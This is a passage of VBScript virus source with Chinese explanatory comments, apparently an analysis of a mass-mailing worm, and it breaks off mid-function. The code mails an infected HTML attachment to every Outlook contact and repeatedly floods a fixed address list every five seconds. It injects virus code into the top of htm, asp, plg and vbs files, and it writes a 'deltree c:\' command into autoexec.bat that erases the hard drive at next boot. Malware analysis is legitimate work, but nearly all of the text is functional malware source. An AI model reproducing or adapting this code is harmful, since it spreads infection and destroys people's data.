function sendmail() '发送文件过程
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
'首先向 outlook 地址簿发送带能直接感染文件的已加密的病毒代码和html 附件
主題是雜机的，此过程与“欢乐时光“类似，所以不再描述
randomize
at=fso.getspecialfolder(1) & "\readme.html"
set oa = createobject("outlook.application")
set wab = oa.getnamespace("mapi")
for j = 1 to wab.addresslists.count
eins = wab.addresslists(j)
wreg=readreg (hcuw & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count
if (eaec > int(wreg)) then
for x = 1 to eaec
arrsm = wab.addressentries(x)
areg = readreg(hcuw & arrsm)
if (areg = "") then
set fm = wab.createitem(0)
with fm
ra = int(rnd() * 7)
.recipients.add arrsm
.subject = title(ra)
.body = title(ra)
.attachments at
.send
writereg hcuw & arrsm, 1, "reg_dword"
end with
end if
next
end if
writereg hcuw & eins, eaec, ""
next
'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.createitem(0)
ra = int(rnd() * 7)
with fm
.recipients.add arrsm
.subject = title(ra)
.body = title(ra)
.send
end with
next
set oa = nothing
window.settimeout "sendmail()", 5000 '每隔 5 秒种重复发送
end function
sub searchhtml(path) '搜索可传染文件的过程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0 then exit sub
if path <> "e:\" then exit sub
set pfo = fso.getfolder(path)
set psfo = pfo.subfolders
for each ps in psfo
searchhtml(ps.path)
set pf = ps.files
for each pfi in pf
ext = lcase(fso.getextensionname(pfi.path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。
if code_str<>"" then addhead pfi.path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码
addhead pfi.path,pfi, 2
end if
next
next
end sub
sub killhe() '全盘删除文件过程
on error resume next
dim codetext, ko,adi, kd, kh, ks,kf,kfs
codetext = "@echo off" & vbcrlf & "path " & w1 & "command" & vbcrlf &_
"deltree c:\" '将删除c盘的命令插入autoexec.bat 中，下次开机时，删除整个硬盘，并沒有任何提示
set ko = fso.opentextfile("c:\autoexec.bat", 8, true)
ko.write vbcrlf & codetext
